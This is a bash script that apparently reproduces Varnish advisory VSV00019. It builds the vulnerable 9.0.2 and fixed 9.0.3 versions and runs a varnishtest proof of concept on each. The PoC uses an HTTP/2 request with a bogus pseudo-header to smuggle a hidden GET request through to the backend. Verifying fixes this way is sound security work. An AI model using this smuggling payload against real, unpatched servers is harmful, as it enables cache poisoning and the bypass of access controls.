#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

# Locate the durable project cache (or fall back to a local dir)
CACHE_DIR="$ROOT/artifacts/varnish"
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" || true)
    [ -z "$CACHE_DIR" ] && CACHE_DIR="$ROOT/artifacts/varnish"
fi
mkdir -p "$CACHE_DIR"

VULN_DIR="$CACHE_DIR/repo"
FIXED_DIR="$CACHE_DIR/repo-fixed"

# Dependency installation required in the clean sandbox
if ! command -v autoreconf >/dev/null 2>&1 || ! command -v rst2man >/dev/null 2>&1 || ! command -v sphinx-build >/dev/null 2>&1; then
    echo "[deps] Installing build dependencies..."
    sudo apt-get update
    sudo apt-get install -y \
        autoconf automake libtool pkg-config \
        libpcre2-dev libev-dev libedit-dev \
        python3-docutils python3-sphinx \
        libncurses-dev libjemalloc-dev make gcc git jq
fi

# Clone / refresh the Varnish/Vinyl repository
if [ ! -d "$VULN_DIR/.git" ]; then
    echo "[clone] Cloning Varnish/Vinyl Cache repository..."
    git clone --depth 1 --no-single-branch https://github.com/varnish/varnish.git "$VULN_DIR"
fi

cd "$VULN_DIR"
git fetch origin --depth 1 refs/tags/varnish-9.0.2:refs/tags/varnish-9.0.2 || true
git fetch origin --depth 1 refs/tags/varnish-9.0.3:refs/tags/varnish-9.0.3 || true

git -c advice.detachedHead=false checkout varnish-9.0.2
VULN_SHA=$(git rev-parse HEAD)
echo "[vuln] Vulnerable source at $VULN_SHA"

if [ ! -d "$VULN_DIR/bin/vinyltest/vtest2/.git" ]; then
    git submodule update --init --depth 1
fi

# Build the vulnerable version (if not already built)
if [ ! -x "$VULN_DIR/bin/vinyld/varnishd" ] || [ ! -x "$VULN_DIR/bin/vinyltest/varnishtest" ]; then
    echo "[vuln] Building Varnish 9.0.2 (vulnerable)..."
    cd "$VULN_DIR"
    ./autogen.sh
    ./configure --disable-dependency-tracking
    make -j"$(nproc)"
fi

# Create a fixed worktree from the same repository at 9.0.3
if [ ! -e "$FIXED_DIR/.git" ]; then
    git -C "$VULN_DIR" worktree add "$FIXED_DIR" varnish-9.0.3
fi

cd "$FIXED_DIR"
if [ ! -d "$FIXED_DIR/bin/vinyltest/vtest2/.git" ]; then
    git submodule update --init --depth 1
fi
if [ ! -x "$FIXED_DIR/bin/vinyld/varnishd" ] || [ ! -x "$FIXED_DIR/bin/vinyltest/varnishtest" ]; then
    echo "[fixed] Building Varnish 9.0.3 (fixed)..."
    cd "$FIXED_DIR"
    ./autogen.sh
    ./configure --disable-dependency-tracking
    make -j"$(nproc)"
fi

FIXED_SHA=$(git -C "$FIXED_DIR" rev-parse HEAD)
echo "[fixed] Fixed source at $FIXED_SHA"

# Write the H2 request-smuggling VTC test in both source trees
TEST_FILE="bin/vinyltest/tests/x_vsv00019.vtc"
TEST_CONTENT='vtest "VSV00019 H2 pseudo-header prefix smuggling PoC"

server s1 {
	rxreq
	expect req.url == "/attack"
	expect req.bodylen == 35
	txresp -status 200 -body "first"

	rxreq
	expect req.url == "/smuggled"
	expect req.method == "GET"
	txresp -status 200 -body "smuggled"
} -start

varnish v1 -vcl+backend {
	sub vcl_backend_fetch {
		unset bereq.http.X-Varnish;
		unset bereq.http.Via;
		unset bereq.http.X-Forwarded-For;
		set bereq.http.Host = "";
	}
} -start

varnish v1 -cliok "param.set feature +http2"

client c1 {
	stream 1 {
		txreq -nostrend -noadd \
			-hdr ":method" "POST" \
			-hdr ":path" "/attack" \
			-hdr ":scheme" "http" \
			-hdr "content-length" "35" \
			-hdr ":a" "xx" \
			-hdr "x-pad" "aaaaaaaaaaaaaaaa"
		txdata -data "GET /smuggled HTTP/1.1\r\nHost: x\r\n\r\n"
		rxresp
		expect resp.status == 200
	} -run
} -run
'

printf '%s' "$TEST_CONTENT" > "$VULN_DIR/$TEST_FILE"
printf '%s' "$TEST_CONTENT" > "$FIXED_DIR/$TEST_FILE"

# Helper to run varnishtest with the right environment
run_vtc() {
    local repo="$1"
    local label="$2"
    local logfile="$3"
    local extra_args="${4:-}"
    (
        cd "$repo"
        PATH="$repo/bin/vinyld:$PATH"
        LD_LIBRARY_PATH="$repo/lib/libvinyl/.libs:$repo/lib/libvinylapi/.libs:$repo/lib/libvcc/.libs:$repo/lib/libvsc/.libs:$repo/lib/libvgz/.libs:${LD_LIBRARY_PATH:-}"
        ./bin/vinyltest/varnishtest -v "$repo/$TEST_FILE" $extra_args > "$logfile" 2>&1 || true
    )
}

VULN_LOG="$LOGS/vulnsmuggle.log"
FIXED_LOG="$LOGS/fixedsmuggle.log"

echo "[run] Running VSV00019 PoC against vulnerable Varnish 9.0.2..."
run_vtc "$VULN_DIR" "vuln" "$VULN_LOG"

echo "[run] Running VSV00019 PoC against fixed Varnish 9.0.3..."
run_vtc "$FIXED_DIR" "fixed" "$FIXED_LOG"

# Analyze evidence
VULN_PASSED=false
VULN_SMUGGLED=false
if grep -q "x_vsv00019.vtc passed" "$VULN_LOG"; then
    VULN_PASSED=true
fi
if grep -q 'EXPECT req.url (/smuggled) == "/smuggled" match' "$VULN_LOG"; then
    VULN_SMUGGLED=true
fi

FIXED_RST=false
if grep -q "rst->err: PROTOCOL_ERROR" "$FIXED_LOG"; then
    FIXED_RST=true
fi

# Keep concise proof artifacts
PROOF_ARTIFACTS=()
if [ -f "$VULN_LOG" ]; then
    cp "$VULN_LOG" "$ARTIFACTS/vulnsmuggle.log"
    PROOF_ARTIFACTS+=("artifacts/vulnsmuggle.log")
fi
if [ -f "$FIXED_LOG" ]; then
    cp "$FIXED_LOG" "$ARTIFACTS/fixedsmuggle.log"
    PROOF_ARTIFACTS+=("artifacts/fixedsmuggle.log")
fi

# Verdict summary
{
    echo "VULN_SHA=$VULN_SHA"
    echo "FIXED_SHA=$FIXED_SHA"
    echo "VULN_PASSED=$VULN_PASSED"
    echo "VULN_SMUGGLED=$VULN_SMUGGLED"
    echo "FIXED_RST=$FIXED_RST"
} > "$ARTIFACTS/summary.txt"
PROOF_ARTIFACTS+=("artifacts/summary.txt")

CONFIRMED=false
if [ "$VULN_PASSED" = true ] && [ "$VULN_SMUGGLED" = true ] && [ "$FIXED_RST" = true ]; then
    CONFIRMED=true
fi

# Emit runtime manifest
python3 - "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED" "$VULN_SHA" "$FIXED_SHA" "${PROOF_ARTIFACTS[*]}" <<'PY'
import json, sys
path, confirmed, vuln_sha, fixed_sha, artifacts = sys.argv[1:6]
confirmed = confirmed == "true"
artifacts = artifacts.split() if artifacts else []
manifest = {
    "entrypoint_kind": "tcp_peer",
    "entrypoint_detail": "HTTP/2 client sends malicious HEADERS/DATA frames to varnishd; backend receives the smuggled HTTP/1 request",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": confirmed,
    "runtime_stack": ["varnishd", "vinyltest/varnishtest", "tcp_peer", "http2"],
    "proof_artifacts": artifacts,
    "notes": f"Vulnerable source {vuln_sha}, fixed source {fixed_sha}. Vulnerable run: smuggled /smuggled received. Fixed run: RST_STREAM PROTOCOL_ERROR."
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
PY

if [ "$CONFIRMED" = true ]; then
    echo "[result] Vulnerability confirmed: H2 pseudo-header prefix smuggling works on 9.0.2 and is blocked on 9.0.3."
    exit 0
else
    echo "[result] Could not confirm both vulnerable and fixed behavior."
    exit 1
fi
